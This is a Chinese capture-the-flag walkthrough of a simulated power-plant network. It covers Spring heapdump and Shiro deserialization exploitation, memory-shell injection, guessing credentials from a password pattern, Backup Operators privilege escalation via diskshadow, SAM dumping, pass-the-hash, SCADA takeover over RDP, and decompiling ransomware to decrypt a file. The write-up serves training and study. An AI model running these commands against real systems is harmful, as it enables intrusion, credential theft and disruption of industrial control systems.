前言
本文所使用的工具可参考以下仓库:
Awesome_Pentest_Tools: 一站式渗透测试与红队工具合集,旨在帮助渗透测试人员打造自己的工具链
靶标介绍:
该场景模拟仿真了电力生产企业的部分业务场景。“火创能源” 公司在未充分重视网络安全的威胁的情况下,将敏感区域的服务错误地配置在公网上,使得外部的 APT 组织可以轻松地访问这些服务,最终导致控制电力分配、生产流程和其他关键设备的服务遭受攻击,并部署了勒索病毒。 玩家的任务是分析 APT 组织的渗透行为,按照关卡列表恢复其攻击路径,并对勒索病毒加密的文件进行解密。 附件地址:https://pan.baidu.com/s/13jTP6jWi6tLWkbyO8SQSnQ?pwd=kj6h
这个靶场是2023工业信息安全技能大赛复赛火力发电场景的原题。

flag1
评估暴露在公网的服务的安全性,尝试建立通向生产区的立足点。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| ./fscan -h 39.98.127.19
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan 39.98.127.19:8080 open 39.98.127.19:22 open [*] alive ports len is: 2 start vulscan [*] WebTitle http://39.98.127.19:8080 code:302 len:0 title:None 跳转url: http://39.98.127.19:8080/login;jsessionid=4F6264CBFDEEEFB5B3BBFD5871672D8C [*] WebTitle http://39.98.127.19:8080/login;jsessionid=4F6264CBFDEEEFB5B3BBFD5871672D8C code:200 len:2936 title:火创能源监控画面管理平台 [+] PocScan http://39.98.127.19:8080 poc-yaml-spring-actuator-heapdump-file [+] PocScan http://39.98.127.19:8080 poc-yaml-springboot-env-unauth spring2 已完成 1/2 [-] ssh 39.98.127.19:22 root root_123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 1/2 [-] ssh 39.98.127.19:22 root 1234567890 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 1/2 [-] ssh 39.98.127.19:22 root 2wsx@WSX ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 1/2 [-] ssh 39.98.127.19:22 admin Admin@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 1/2 [-] ssh 39.98.127.19:22 admin a123456. ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 1/2 [-] ssh 39.98.127.19:22 admin a123123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 2/2 [*] 扫描结束,耗时: 7m4.312747007s
|
注意到RememberMe,猜测是shiro框架

shiro反序列化
典中典i春秋heapdump泄露,先下载 heapdump 内存泄漏文件:
1 2 3 4 5 6
| http://39.98.127.19:8080/actuator/heapdump
/heapdump /Actuator/heapdump /actuator/heapdump
|
然后提取信息,这里用内存泄露检测工具JDumpSpider一把梭即可,
结果中存在 Shiro key,尝试 Shiro 反序列化:
1 2 3 4 5 6 7 8
| java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump
=========================================== CookieRememberMeManager(ShiroKey) ------------- algMode = CBC, key = QZYysgMYhG6/CzIJlVpR2g==, algName = AES
===========================================
|
找到构造链:
1 2 3 4 5 6
| java -jar shiro_attack-4.7.0-SNAPSHOT-all.jar
URL: http://121.89.201.231:8080 SHIRO KEY: QZYysgMYhG6/CzIJlVpR2g== 构造链(可以爆破一下构造链): CommonsBeanutils1 回显方式: AllEcho
|

注入内存马:
1 2 3
| 冰蝎[Filter] 注入成功! 路径:http: 密码:cmd
|
连接内存马,得到 flag01

1 2 3 4 5 6 7 8 9 10 11 12
| cat flag01.txt ████ ██ ████ ██ ░██░ ░██ █████ █░░░██ ███ ██████ ░██ ██████ ██░░░██░█ █░█░░██ ░░░██░ ░██ ░░░░░░██ ░██ ░██░█ █ ░█ ░██ ░██ ░██ ███████ ░░██████░██ ░█ ░██ ░██ ░██ ██░░░░██ ░░░░░██░█ ░█ ░██ ░██ ███░░████████ █████ ░ ████ ████ ░░ ░░░ ░░░░░░░░ ░░░░░ ░░░░ ░░░░
flag01: flag{81700400-eecc-4895-aa1e-042d7309a630}
|
flag2
尝试接管 SCADA 工程师的个人 PC,并通过滥用 Windows 特权组提升至系统权限。
fscan扫描
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118
| (remote) root@security:/matrix# ifconfig eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 172.22.17.213 netmask 255.255.0.0 broadcast 172.22.255.255 inet6 fe80::216:3eff:fe38:8b17 prefixlen 64 scopeid 0x20<link> ether 00:16:3e:38:8b:17 txqueuelen 1000 (Ethernet) RX packets 1237105 bytes 870689334 (870.6 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 928024 bytes 806943200 (806.9 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536 inet 127.0.0.1 netmask 255.0.0.0 inet6 ::1 prefixlen 128 scopeid 0x10<host> loop txqueuelen 1000 (Local Loopback) RX packets 89326 bytes 39004677 (39.0 MB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 89326 bytes 39004677 (39.0 MB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0 ./fscan -h 172.22.17.213/24
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 172.22.17.6 is alive (icmp) Target 172.22.17.213 is alive [*] Icmp alive hosts len is: 2 172.22.17.213:8181 open 172.22.17.6:445 open 172.22.17.6:139 open 172.22.17.6:135 open 172.22.17.6:80 open 172.22.17.6:21 open 172.22.17.213:22 open 172.22.17.213:8080 open [*] alive ports len is: 8 start vulscan [*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER [*] NetInfo [*]172.22.17.6 [->]WIN-ENGINEER [->]172.22.17.6 [*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - / [*] WebTitle http://172.22.17.213:8080 code:302 len:0 title:None 跳转url: http://172.22.17.213:8080/login;jsessionid=34E3E1DB0B1504872D1A73733BAD037E [+] ftp 172.22.17.6:21:anonymous [->]Modbus [->]PLC [->]web.config [->]WinCC [->]内部软件 [->]火创能源内部资料 [*] WebTitle http://172.22.17.213:8080/login;jsessionid=34E3E1DB0B1504872D1A73733BAD037E code:200 len:2936 title:火创能源监控画面管理平台 [+] PocScan http://172.22.17.213:8080 poc-yaml-spring-actuator-heapdump-file [+] PocScan http://172.22.17.213:8080 poc-yaml-springboot-env-unauth spring2 已完成 7/8 [-] ssh 172.22.17.213:22 root root@123#4 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 7/8 [-] ssh 172.22.17.213:22 root Aa1234 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 7/8 [-] ssh 172.22.17.213:22 admin pass@123 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 7/8 [-] ssh 172.22.17.213:22 admin admin@123#4 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 7/8 [-] ssh 172.22.17.213:22 admin 1qaz2wsx ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 7/8 [-] ssh 172.22.17.213:22 admin 1q2w3e ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain 已完成 8/8 [*] 扫描结束,耗时: 6m16.318813323s
./fscan -h 172.22.0.0/16
___ _ / _ \ ___ ___ _ __ __ _ ___| | __ / /_\/____/ __|/ __| '__/ _` |/ __| |/ / / /_\\_____\__ \ (__| | | (_| | (__| < \____/ |___/\___|_| \__,_|\___|_|\_\ fscan version: 1.8.4 start infoscan (icmp) Target 172.22.17.213 is alive (icmp) Target 172.22.17.6 is alive (icmp) Target 172.22.26.11 is alive (icmp) Target 172.22.255.253 is alive [*] LiveTop 172.22.0.0/16 段存活数量为: 4 [*] LiveTop 172.22.17.0/24 段存活数量为: 2 [*] LiveTop 172.22.26.0/24 段存活数量为: 1 [*] LiveTop 172.22.255.0/24 段存活数量为: 1 [*] Icmp alive hosts len is: 4 172.22.17.6:445 open 172.22.17.6:139 open 172.22.26.11:139 open 172.22.26.11:135 open 172.22.17.6:135 open 172.22.17.6:21 open 172.22.26.11:80 open 172.22.17.6:80 open 172.22.26.11:1433 open 172.22.26.11:445 open [*] alive ports len is: 10 start vulscan [*] NetInfo [*]172.22.26.11 [->]WIN-SCADA [->]172.22.26.11 [*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER [*] NetBios 172.22.26.11 WORKGROUP\WIN-SCADA [*] WebTitle http://172.22.26.11 code:200 len:703 title:IIS Windows Server [*] WebTitle http://172.22.17.6 code:200 len:661 title:172.22.17.6 - / [+] mssql 172.22.26.11:1433:sa 123456 [*] NetInfo [*]172.22.17.6 [->]WIN-ENGINEER [->]172.22.17.6 [+] ftp 172.22.17.6:21:anonymous [->]Modbus [->]PLC [->]web.config [->]WinCC [->]内部软件 [->]火创能源内部资料 已完成 10/10 [*] 扫描结束,耗时: 10.487932257s
|
提取关键资产:
1 2
| [*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER [*] NetBios 172.22.26.11 WORKGROUP\WIN-SCADA
|
敏感信息泄露
172.22.17.6 存在敏感信息泄露:
扫出来一个匿名ftp,连一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| proxychains ftp 172.22.17.6 [proxychains] config file found: /etc/proxychains4.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [proxychains] DLL init: proxychains-ng 4.17 [proxychains] Strict chain ... 127.0.0.1:55556 ... 172.22.17.6:21 ... OK Connected to 172.22.17.6. 220 Microsoft FTP Service Name (172.22.17.6:matrix): anonymous 331 Anonymous access allowed, send identity (e-mail name) as password. Password: 230 User logged in. Remote system type is Windows_NT. ftp> ls 229 Entering Extended Passive Mode (|||50909|) [proxychains] Strict chain ... 127.0.0.1:55556 ... 172.22.17.6:50909 ... OK 125 Data connection already open; Transfer starting. 12-25-23 10:39PM <DIR> Modbus 12-25-23 10:41PM <DIR> PLC 12-25-23 10:43PM 168 web.config 12-25-23 10:37PM <DIR> WinCC 12-26-23 12:22AM <DIR> �ڲ����� 12-27-23 02:01AM <DIR> ������Դ�ڲ����� 226 Transfer complete. ftp> chcp 65001 ?Invalid command. ftp>
|
http也可以访问到

在火创能源内部资料中得到 WIN-SCADA 的管理员账号密码:
1 2 3 4 5
| http://172.22.17.6/火创能源内部资料/SCADA.txt ----- WIN-SCADA: 172.22.26.xx Username: Administrator Password: IYnT3GyCiy3
|
内部通知里包含初始密码组成方式:
登陆权限限制:
为确保信息系统的安全性,自即日起,公司所有工程师PC的登陆将由SCADA工程师进行控制。请各位工程师注意,只能通过SCADA工程师提供的登陆方式进行访问。
登陆账户设置:
为方便管理和标准化,登陆账户名将采用姓名全称的小写拼音形式。例如,张三的账户名为zhangsan,工号为0801。初始密码将由账户名+@+工号组成,例如,zhangsan@0801。
在内部通讯录中提取 SCADA 工程师信息:

根据内部通知的初始密码规则,得到 SCADA 工程师的账号密码如下:
1 2 3 4 5 6 7 8 9 10
| chenhua/chenhua@0813 zhaoli/zhaoli@0821 wangning/wangning@0837 zhangling/zhangling@0871 zhangying/zhangying@0888 wangzhiqiang/wangzhiqiang@0901 chentao/chentao@0922 zhouyong/zhouyong@0939 lilong/lilong@1046 liyumei/liyumei@1048
|
impacket 验证:
1 2
| proxychains impacket-wmiexec chenhua:"chenhua@0813"@172.22.17.6 -codec gbk
|
[!NOTE] rpc_s_access_denied
在只知道 NTLM Hash 的情况下,只有 RID 为 500 的管理员用户才能绕过 UAC 成功执行 PTH;若 RID 不是 500,即便是在本地管理员用户组里也无法执行 PTH。
chenhua 账号 rdp 登录:
1 2
| [*] NetBios 172.22.17.6 WORKGROUP\WIN-ENGINEER proxychains xfreerdp3 /u:zhangying /p:zhangying@0888 /v:172.22.17.6 /cert:ignore
|
Backup Operators 组提权
要提权,上winPEASx64.exe
1 2
| winPEASx64.exe log [1;32m"log" argument present, redirecting output to file "out.txt"[0m
|
高危项:
- 计划任务目录可写:可植入定时执行的恶意程序。
- Unquoted Service Path:多个服务路径未加引号且有空格,可通过文件名伪造实现提权。
- Backup Operators 组:可尝试备份 SYSTEM/SAM 注册表文件本地提权。
- WSUS 配置不安全:可利用 wsuxploit 工具进行提权。
- 防火墙关闭:攻击面极大,易被横向渗透。
- 3389/RDP、445/SMB 开放:可尝试远程爆破、横向移动。
- 敏感文件(如 Unattend.xml、CredentialSettings.xml):可能存储明文密码。
chenhua属于Backup Operators,默认情况下会授予该组 SeBackup 和 SeRestore 权限,现在居然没有。不过因为用户在Backup Operators组内,所以可以使用Backup Operators组内权限提权(https://github.com/k4sth4/SeBackupPrivilege)
SeBackupPrivilege
[!NOTE] 使用 SeBackupPrivilege 权限实现权限提升
- SeBackupPrivilege 权限用来实现备份操作,允许文件内容检索,即使文件上的安全描述符可能未授予此类访问权限。diskshadow 是 Windows 的内置功能,可以帮助创建备份。参考 hackingarticles,可以在本地或 DC 进行权限提升。
- Privilege 靶场中也使用该方式实现权限提升。ThermalPower 只涉及本地权限提升,不涉及 DC。
查看 systeminfo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| C:\Users\chenhua>systeminfo
主机名: WIN-ENGINEER OS 名称: Microsoft Windows Server 2022 Datacenter OS 版本: 10.0.20348 暂缺 Build 20348 OS 制造商: Microsoft Corporation OS 配置: 独立服务器 OS 构建类型: Multiprocessor Free 注册的所有人: 注册的组织: Aliyun 产品 ID: 00454-60000-00001-AA888 初始安装日期: 2023/12/25, 20:35:07 系统启动时间: 2024/3/4, 13:41:17 系统制造商: Alibaba Cloud 系统型号: Alibaba Cloud ECS 系统类型: x64-based PC 处理器: 安装了 1 个处理器。 [01]: Intel64 Family 6 Model 85 Stepping 7 GenuineIntel ~2500 Mhz BIOS 版本: SeaBIOS 449e491, 2014/4/1 Windows 目录: C:\Windows 系统目录: C:\Windows\system32 启动设备: \Device\HarddiskVolume1 系统区域设置: zh-cn;中文(中国) 输入法区域设置: zh-cn;中文(中国) 时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量: 3,950 MB 可用的物理内存: 2,137 MB 虚拟内存: 最大值: 5,358 MB 虚拟内存: 可用: 3,600 MB 虚拟内存: 使用中: 1,758 MB 页面文件位置: C:\pagefile.sys 域: WORKGROUP 登录服务器: \\WIN-ENGINEER 修补程序: 安装了 3 个修补程序。 [01]: KB5031993 [02]: KB5032198 [03]: KB5032310 网卡: 安装了 1 个 NIC。 [01]: Red Hat VirtIO Ethernet Adapter 连接名: 以太网 启用 DHCP: 是 DHCP 服务器: 172.22.255.253 IP 地址 [01]: 172.22.17.6 [02]: fe80::6ee2:423a:4d01:5191 Hyper-V 要求: 已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。
|
查看特权信息,此时 SeBackupPrivilege 未开启:
SetBackup权限用于允许进程绕过通常的文件和目录权限限制,以读取系统的所有文件和目录。它主要用于备份操作,在创建系统备份时,可以让进程访问即使没有显式权限的文件,拥有这个权限的用户可以访问文件系统的任意文件
1 2 3 4 5 6 7 8 9 10 11 12
| PS C:\Windows\system32> whoami /priv
特权信息 ----------------------
特权名 描述 状态 ============================= ============== ====== SeBackupPrivilege 备份文件和目录 已禁用 SeRestorePrivilege 还原文件和目录 已禁用 SeShutdownPrivilege 关闭系统 已禁用 SeChangeNotifyPrivilege 绕过遍历检查 已启用 SeIncreaseWorkingSetPrivilege 增加进程工作集 已禁用
|
此时访问 Administrator 目录,提示拒绝访问:
1 2
| PS C:\Windows\system32> dir C:\Users\Administrator\flag\ dir : 拒绝访问。
|
使用 EnableSeBackupPrivilege.ps1启用 SeBackupPrivilege:
1
| Import-Module .\EnableSeBackupPrivilege.ps1
|

接下来我们创建目标系统上 C 盘的备份。
先新建 s.dsh 文件,并将下面内容写入:
1 2 3 4
| set context add create expose
|
将 s.dsh 文件编码和间距转换为与 Windows 机器兼容形式(在 Windows 上新建 s.dsh 可忽略此步):
以管理员权限在 PowerShell 中执行命令,执行 diskshadow 并拷贝 flag02 :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60
| PS C:\Users\chenhua\Desktop> cd C:\ PS C:\Users\chenhua\Desktop> mkdir Temp PS C:\Temp> diskshadow /s s.dsh PS C:\Temp> dir z:\Users\Administrator\flag\ PS C:\Temp> robocopy /b z:\Users\Administrator\flag\ . flag02.txt
diskshadow /s s.dsh robocopy /b z:\Users\Administrator\flag\ . flag02.txt cat flag02.txt
PS C:\Users\zhangying\Downloads> diskshadow /s s.dsh Microsoft DiskShadow 版本 1.0 版权所有 (C) 2013 Microsoft Corporation 在计算机上: WIN-ENGINEER,2025/10/23 17:44:37 -> set context persistent nowriters -> add volume c: alias mydrive -> create 无法将 .cab 元数据文件存储在当前工作目录中,因为它是只读的。 请使用 SET METADATA <metadata.cab> 指定现有的可写目录。 PS C:\Users\zhangying\Downloads> robocopy /b z:\Users\Administrator\flag\ . flag02.txt ------------------------------------------------------------------------------- ROBOCOPY :: Windows 的可靠文件复制 ------------------------------------------------------------------------------- 开始时间: 2025年10月23日 17:44:50 源: z:\Users\Administrator\flag\ 目标: C:\Users\zhangying\Downloads\ 文件: flag02.txt 选项: /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30 ------------------------------------------------------------------------------ 1 z:\Users\Administrator\flag\ 100% 新文件 350 flag02.txt ------------------------------------------------------------------------------ 总数 复制 跳过 不匹配 失败 其他 目录: 1 0 1 0 0 0 文件: 1 1 0 0 0 0 字节: 350 350 0 0 0 0 时间: 0:00:00 0:00:00 0:00:00 0:00:00 已结束: 2025年10月23日 17:44:50 PS C:\Users\zhangying\Downloads> dir 目录: C:\Users\zhangying\Downloads Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 2025/10/23 17:21 91 1.txt -a---- 2025/10/23 17:28 3073 EnableSeBackupPrivilege.ps1 -a---- 2025/10/23 14:19 350 flag02.txt -a---- 2025/10/23 17:12 138798 out.txt -a---- 2025/10/23 17:43 90 s.dsh -a---- 2025/9/14 1:10 10166272 winPEASx64.exe PS C:\Users\zhangying\Downloads> cat flag02.txt _____.__ _______ ________ _/ ____\ | _____ ____ \ _ \ \_____ \ \ __\| | \__ \ / ___\/ /_\ \ / ____/ | | | |__/ __ \_/ /_/ > \_/ \/ \ |__| |____(____ /\___ / \_____ /\_______ \ \//_____/ \/ \/ flag02: flag{de946b53-3ba4-4fd0-b80f-aafc911ca447} PS C:\Users\zhangying\Downloads>
|
也可以创建txt来运行,比如script.txt
1 2 3 4
| set context add create expose
|
也是在有权限的位置(无权限自己在C盘下创建一个目录)运行diskshadow /s script.txt,随后可以在z盘备份盘列出administrator用户的目录
注册表 SAM 转储
重置环境,尝试直接转储 sam 和 system,发现不需要特权即可以成功导出:
1 2 3 4 5
| PS C:\Users\chenhua\Desktop> cd C:\ PS C:\Users\chenhua\Desktop> mkdir matrix PS C:\Users\chenhua\Desktop> cd C:\matrix PS C:\matrix> reg save hklm\sam c:\matrix\sam PS C:\matrix> reg save hklm\system c:\matrix\system
|
下载到本地,提取 Administrator 的 NTLM hash:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| impacket-secretsdump -sam sam -system system LOCAL
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Target system bootKey: 0x6c2be46aaccdf65a9b7be2941d6e7759 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:f82292b7ac79b05d5b0e3d302bd0d279::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:a2fa2853651307ab9936cc95c0e0acf5::: chentao:1000:aad3b435b51404eeaad3b435b51404ee:47466010c82da0b75328192959da3658::: zhaoli:1001:aad3b435b51404eeaad3b435b51404ee:2b83822caab67ef07b614d05fd72e215::: wangning:1002:aad3b435b51404eeaad3b435b51404ee:3c52d89c176321511ec686d6c05770e3::: zhangling:1003:aad3b435b51404eeaad3b435b51404ee:8349a4c5dd1bdcbc5a14333dd13d9f81::: zhangying:1004:aad3b435b51404eeaad3b435b51404ee:8497fa5480a163cb7817f23a8525be7d::: lilong:1005:aad3b435b51404eeaad3b435b51404ee:c3612c48cf829d1149f7a4e3ef4acb8a::: liyumei:1006:aad3b435b51404eeaad3b435b51404ee:63ddcde0fa219c75e48e2cba6ea8c471::: wangzhiqiang:1007:aad3b435b51404eeaad3b435b51404ee:5a661f54da156dc93a5b546ea143ea07::: zhouyong:1008:aad3b435b51404eeaad3b435b51404ee:5d49bf647380720b9f6a15dbc3ffe432::: chenhua:1009:aad3b435b51404eeaad3b435b51404ee:07ff24422b538b97f3c297cc8ddc7615::: [*] Cleaning up...
|
以管理员权限登录获得 flag02:
1
| proxychains impacket-wmiexec administrator@172.22.17.6 -hashes :f82292b7ac79b05d5b0e3d302bd0d279 -codec gbk
|
flag3
尝试接管 SCADA 工程师站,并启动锅炉。
工控系统接管
之前泄露的信息中已经包含了管理员账号密码:
1 2 3
| WIN-SCADA: 172.22.26.xx Username: Administrator Password: IYnT3GyCiy3
|
rdp 登录,当前账号为管理员权限,点击开关,得到 flag:
1
| proxychains xfreerdp3 /u:Administrator /p:IYnT3GyCiy3 /v:172.22.26.11 /cert:ignore
|

1
| flag{bcd080d5-2cf1-4095-ac15-fa4befca1c0}
|
flag4
尝试获取 SCADA 工程师站中的数据库备份,并分析备份文件是否泄漏了敏感数据。
有时候xfreerdp不能从远程主机剪切,可以用这个命令
1
| xfreerdp3 /u:USERNAME /p:PASSWORD /v:IP /clipboard
|
这里复制不了远程主机文件,直接用共享文件夹
1 2
| proxychains xfreerdp3 /u:Administrator /p:IYnT3GyCiy3 /v:172.22.26.11 /cert:ignore /drive:share,/home/matrix/Desktop/14ThermalPower/
|
Win+D 或者 Win+M 回到桌面,发现勒索者留下的信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| ** 您的文件已被加密 **
很抱歉,您的计算机中的文件已被加密。要解锁您的文件,您需要支付赎金。
----------------------------------------- | 注意事项 | ----------------------------------------- | 1. 不要试图删除或修改加密文件。 | | 2. 支付赎金前,不要尝试恢复文件。 | | 3. 请在规定时间内支付赎金。 | -----------------------------------------
要获取解密密钥和进一步的说明,请访问我们的支付网站: [支付网站链接]
如果无法访问支付网站,请通过电子邮件联系我们: contact@ransomware.com
赎金金额:2比特币
----------------------------------------- | 警告:尝试恢复文件或报警将导致永久丢失文件。| -----------------------------------------
比特币支付地址:1ABcDefGhijxLxnxpxrsxUvwxYZabcdEf
|
最近使用的文件中发现 ScadaDB.sql,但是为 0 字节:

因为该文件已经被加密为 ScadaDB.sql.locky:

在 C 盘下找到勒索程序 Lockyou.exe
勒索程序逆向
将加密的文件 ScadaDB.sql.locky 和勒索程序 Lockyou.exe 下载到本地进行分析。Lockyou.exe 为 .NET 编译,需要使用 dnSpy 或者 dotPeek 进行反编译
通过 dotPeek 反编译 Lockyou.exe。在源代码中可以看到,RSA 解密得到 AES_KEY。
1 2 3 4 5 6 7
| public AESCrypto() { this.BACKEND_URL = "http://39.101.170.47/"; this.PRIVATE_KEY = this.GetHttpContent(this.BACKEND_URL + "privateKey"); this.AES_KEY_ENC = this.GetHttpContent(this.BACKEND_URL + "encryptedAesKey"); this.AES_KEY = this.DecryptRSA(this.AES_KEY_ENC, this.PRIVATE_KEY); }
|

提示中给了两个附件,分别看一下内容:
1 2
| encryptedAesKey privateKey
|
encryptedAesKey 即为 AES_KEY_ENC,是 Base64 字符串:
1
| lFmBs4qEhrqJJDIZ6PXvOyckwF/sqPUXzMM/IzLM/MHu9UhAB3rW/XBBoVxRmmASQEKrmFZLxliXq789vTX5AYNFcvKlwF6+Y7vkeKMOANMczPWT8UU5UcGi6PQLsgkP3m+Q26ZD9vKRkVM5964hJLVzogAUHoyC8bUAwDoNc7g=
|
privateKey 即为 PRIVATE_KEY,是 XML 格式文件:
1
| <RSAKeyValue><Modulus>uoL2CAaVtMVp7b4/Ifcex2Artuu2tvtBO25JdMwAneu6gEPCrQvDyswebchA1LnV3e+OJV5kHxFTp/diIzSnmnhUmfZjYrshZSLGm1fTwcRrL6YYVsfVZG/4ULSDURfAihyN1HILP/WqCquu1oWo0CdxowMsZpMDPodqzHcFCxE=</Modulus><Exponent>AQAB</Exponent><P>2RPqaofcJ/phIp3QFCEyi0kj0FZRQmmWmiAmg/C0MyeX255mej8Isg0vws9PNP3RLLj25O1pbIJ+fqwWfUEmFw==</P><Q>2/QGgIpqpxODaJLQvjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbkVfy5Fw==</Q><DP>ulK51o6ejUH/tfK281A7TgqNTvmH7fUra0dFR+KHCZFmav9e/na0Q//FivTeC6IAtN5eLMkKwDSR1rBm7UPKKQ==</DP><DQ>PO2J541wIbvsCMmyfR3KtQbAmVKmPHRUkG2VRXLBV0zMwke8hCAE5dQkcct3GW8jDsJGS4r0JsOvIRq5gYAyHQ==</DQ><InverseQ>JS2ttB0WJm223plhJQrWqSvs9LdEeTd8cgNWoyTkMOkYIieRTRko/RuXufgxppl4bL9RRTI8e8tkHoPzNLK4bA==</InverseQ><D>tuLJ687BJ5RYraZac6zFQo178A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDoxRqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQNUM6ss/2/CMM/EgM9vz0=</D></RSAKeyValue>
|
根据 locky 勒索软件家族加解密逻辑和 .NET 逆向代码,解密思路如下:
- 首先用
privateKey 对加密的 encryptedAesKey进行 RSA 解密,得到 AES_KEY。
- 再用
AES_KEY 对加密的文件 ScadaDB.sql.locky 解密,得到 ScadaDB.sql。
勒索文件解密
RSA解密
通过工具,将 privateKey 从 XML 格式转换为 PEM 格式,得到 PRIVATE_KEY:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| -----BEGIN PRIVATE KEY----- MIICdwIBADANBgkqhkiG9w0BAQEFAASCAmEwggJdAgEAAoGBALqC9ggGlbTFae2+ PyH3HsdgK7brtrb7QTtuSXTMAJ3ruoBDwq0Lw8rMHm3IQNS51d3vjiVeZB8RU6f3 YiM0p5p4VJn2Y2K7IWUixptX08HEay+mGFbH1WRv+FC0g1EXwIocjdRyCz/1qgqr rtaFqNAncaMDLGaTAz6Hasx3BQsRAgMBAAECgYEAtuLJ687BJ5RYraZac6zFQo17 8A8siDrRmTwozV1o0XGf3DwVfefGYmpLAC1X3QAoxUosoVnwZUJxPIfodEsieDox RqVxMCcKbJK3nwMdAKov6BpxGUloALlxTi6OImT6w/roTW9OK6vlF54o5U/4DnQN UM6ss/2/CMM/EgM9vz0CQQDZE+pqh9wn+mEindAUITKLSSPQVlFCaZaaICaD8LQz J5fbnmZ6PwiyDS/Cz080/dEsuPbk7Wlsgn5+rBZ9QSYXAkEA2/QGgIpqpxODaJLQ vjS8xnU8NvxMlk110LSUnfAh/E6wB/XUc89HhWMqh4sGo/LAX0n94dcZ4vLMpzbk Vfy5FwJBALpSudaOno1B/7XytvNQO04KjU75h+31K2tHRUfihwmRZmr/Xv52tEP/ xYr03guiALTeXizJCsA0kdawZu1DyikCQDztieeNcCG77AjJsn0dyrUGwJlSpjx0 VJBtlUVywVdMzMJHvIQgBOXUJHHLdxlvIw7CRkuK9CbDryEauYGAMh0CQCUtrbQd FiZttt6ZYSUK1qkr7PS3RHk3fHIDVqMk5DDpGCInkU0ZKP0bl7n4MaaZeGy/UUUy PHvLZB6D8zSyuGw= -----END PRIVATE KEY-----
|
通过工具,对 encryptedAesKey 进行解密,得到 AES_KEY:
1 2
| [base64] cli9gqXpTrm7CPMcdP9TSmVSzXVgSb3jrW+AakS7azk= [hex] 7258bd82a5e94eb9bb08f31c74ff534a6552cd756049bde3ad6f806a44bb6b39
|
这一步也可以编程实现,见下文。
AES解密
使用 AES KEY 对文件 ScadaDB.sql.locky 进行解密。
RSA + AES 解密的完整脚本如下:
